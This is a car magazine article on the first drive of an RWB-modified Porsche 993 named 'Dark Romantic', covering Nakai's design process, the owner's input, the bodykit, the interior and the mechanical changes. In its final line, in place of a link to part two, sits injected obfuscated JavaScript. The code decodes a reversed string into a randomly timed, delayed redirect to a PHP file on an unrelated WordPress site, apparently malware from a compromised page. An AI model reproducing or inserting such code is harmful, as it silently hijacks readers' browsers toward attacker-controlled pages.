RAUH-Welt Begriff. Dark Romantic. The First Drive, Pt. One

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“For me, the design [of an RWB car] is natural. Zafer and I spent three days together, driving around, meeting each other. Then I have my ideas back in Japan. There are no sketches. The image, ideas are all inside,” he says, tapping his temple. “In my head I have many, many images for now and for the future. The parts are easy to bolt on and change. For this 993 I have more ideas. This is stage one. Stage two will follow. The car is never finished, there is always more.”

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For now though, stage one is complete, and a few days later Zafer very kindly gives me the keys to have a go in the finished article. It’s a serious piece of work, resplendent in gloss black paint. The fibreglass bodykit is riveted on (the distance between each rivet is the length of Nakai’s cigarette packet), housing a massively widened rear end thanks to spacers aplenty. There is literally no space between the rear tyres and the arches – I try and fail to fit a credit card in there. The gold RWB wheels are deep dished enough to fit my iPhone in lengthways. At the front, the spoiler is fitted with a rubber strip that scrapes the ground so low that a hinge has been built into the bodywork to allow it to pass over speed bumps.

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The actual design is entirely Nakai’s: customers rarely get much (if any) say in what the car will look like. “Nakai would like to please his customers by doing a little bit of what they want,” Zafer explains. “But the only question he asked me was what colour wheels I would like, black or gold. I wanted it to be a red car, but he kept on saying black. This is the first time in my life that I’ve surrendered to the talent, sat back and watched.

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“And I’m thankful that I did. If he did exactly what I wanted I’d end up with something only one degree better than the next guy. He’s the creative artist here, so I gave him that full freedom. The name Dark Romantic [emblazoned on the front of the car] refers to my wife who has dark skin. Neo Japonesque was chosen by him because he believes Dubai is the new Japan in that it’s moving forward, so that’s what it’s called. He names every car, I didn’t get a say in it.”

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Inside, the car has been retrimmed all over by interior specialists DK Schweizer in black Alcantara with gold stitching. RWB is embroidered into the headrest. The engine is lightly modified, the ECU having been sent to Germany and remapped, with a racing exhaust from M&M. The suspension has been custom made to Nakai’s specifications by Aragosta in Belgium. Other than that, the mechanics are largely standard.

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As I settle into the Alcantara-trimmed seat, I’m conscious that this isn’t just another manufacturer car that I can thrash willy-nilly. This is not only a real person’s personal machine, it’s a one-off, a labour of love, the product of hundreds of hours of craftsmanship. It’s some $50,000 worth of work, on top of the cost of the original car. I. Must. Not. Bend. It.

You’ll find out soon $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/rauh-welt-begriff-dark-romantic-the-first-drive-pt-2/” target=”_blank”>how I got on.